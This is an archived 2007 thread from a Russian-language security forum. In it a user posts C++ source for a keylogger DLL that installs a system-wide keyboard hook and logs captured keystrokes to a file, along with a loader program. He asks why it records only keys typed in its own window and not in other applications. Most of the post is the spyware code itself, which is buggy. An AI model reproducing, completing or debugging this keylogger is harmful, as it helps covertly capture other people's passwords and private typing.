ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 12.12.2007, 14:48
Rav
Новичок
Регистрация: 11.12.2007
Сообщений: 2
Провел на форуме:
4425

Репутация: 0
По умолчанию

Привет товарищи вопрос такой написал простенький keylogger при вводе текста ловит только в своё окно а из других типа блокнота не ловит пробовал получать handle активного вданный момент окна и подключится к активному окну неполучилось Что я делаю не так? Помогите пожалуйта
HookProc и SetWindowsHookEx оформил в длл
код Длл:
Код:
#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "HOOK1.h"
#pragma data_seg(".SHAREDDATA")
//Глобальные данные
HHOOK SysHook;
HINSTANCE hInst;
FILE *stream;
int a=0;
int nCode;
WPARAM wParam;
LPARAM lParam;
TCHAR String[256000];
//HWND Wnd;
//DWORD   dwThreadId;
//DWORD   dwCUrrentId;
#pragma data_seg()

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	hInst=(HINSTANCE)hModule;
    return TRUE;
  
}//DllMain
LRESULT CALLBACK KeyProc(int nCode,
						 WPARAM wParam,// virtual-key code
						 LPARAM lParam)// keystroke-message information
 
{
	if (lParam>0x8000 )
	//if (nCode == HC_ACTION)
		{
	    UINT uScanCode = MapVirtualKey(wParam,0); 
        BYTE KeyState[256]; 
        WORD BufChar; 
        UINT uFlags=0;
		  /*dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
	     dwCUrrentId =GetCurrentThreadId();
		 if (dwThreadId != dwCUrrentId)	{  
	    AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
		 
		GetKeyboardState(KeyState); 
        if(ToAscii(wParam,uScanCode,KeyState,&BufChar,uFlags)==1) 
        {if (char(BufChar)==8) 
        {if(a==0) return 0; 
         else a--;return 0;} 
	     if(a>250000)
        MessageBox(NULL,String,"hehe",0);
		stream = fopen( "SniFFCode", "w+t");
	    fprintf(stream,"%s\n",String);
	    fclose(stream);
	    String[a]=char(BufChar); 
        a++;
	
		
		
		}//if
	}
return 0;//CallNextHookEx(SysHook,nCode,wParam,lParam);;
}//KeyProc
DllExport void RunStopHook(bool State, HINSTANCE hInstance)
{ 
	
	//DWORD   dwThreadId;
	//DWORD   dwCUrrentId;
	
	{
	if (true){
		
      /*  dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
	     dwCUrrentId =GetCurrentThreadId();
	  if (dwThreadId == dwCUrrentId)
	  {MessageBeep(0xFFFFFFFF);}
	  else
	  AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
	  
		SysHook = SetWindowsHookEx(0,KeyProc, hInstance,0 );
		//KeyProc(nCode,wParam,lParam);
	  
	if (SysHook == NULL)
			UnhookWindowsHookEx(SysHook);
	}else
		UnhookWindowsHookEx(SysHook);
	}

//AttachThreadInput(dwCUrrentId,dwThreadId,false);
			//MessageBeep(0xFFFFFFFF); 
}//RunStopHook


и приложения привожу код приложения:


HINSTANCE hModule;
  	// Cоздаю новый указатель на функцию
	     typedef void (RunStopHookProc)(bool, HINSTANCE);
	        RunStopHookProc* RunStopHook(NULL) ;
	           // Load the DLL file (Чтение DLL-библиотеки)
	            hModule = LoadLibrary("HOOK1.dll");
	              if(hModule!= NULL)
	             {
	              RunStopHook = (RunStopHookProc*)GetProcAddress(
                     (HMODULE) hModule, "RunStopHook");					 
	             }
	if(RunStopHook != NULL)	
				  {
           (*RunStopHook)(true, hInstance);
                  }
	else
	{
	FreeLibrary(hModule);
	}
	
	// Main message loop:


	while (GetMessage(&msg,NULL, 0, 0)) 
	{
         (*RunStopHook)(true, hInstance);
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
			
		}
	}
	
  (*RunStopHook)(false,hInstance);
  FreeLibrary(hModule);
	return (int) msg.wParam;
}

Последний раз редактировалось De-visible; 27.04.2008 в 19:47.. Причина: теги [code]
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Клавиатурный шпион Болталка 12 15.09.2008 16:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ